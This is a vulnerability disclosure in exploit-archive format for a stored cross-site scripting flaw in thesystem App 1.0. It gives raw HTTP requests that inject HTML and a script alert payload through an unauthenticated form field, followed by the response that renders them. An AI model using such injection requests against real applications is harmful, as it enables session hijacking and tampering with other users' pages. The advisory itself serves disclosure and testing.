thesystem App 1.0 - Persistent Cross-Site Scripting

# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
# Author: İsmail Güngör
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A

# Description:
# Stored XSS after login bypass(login_required didn't used)

First of all following request is sent web server

POST /data/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 332
Connection: close
Referer: http://127.0.0.1:8000/data/
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977
Upgrade-Insecure-Requests: 1

-----------------------------191691572411478
Content-Disposition: form-data; name="csrfmiddlewaretoken"

0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75
-----------------------------191691572411478
Content-Disposition: form-data; name="server_name"

<h1>test
-----------------------------191691572411478--

After following request is sent web server

GET /show_search/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8000/data/
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977
Upgrade-Insecure-Requests: 1

# Finally, response is shown Xtored XSS:

HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 12:25:19 GMT
Server: WSGIServer/0.2 CPython/3.5.3
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 176

('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>')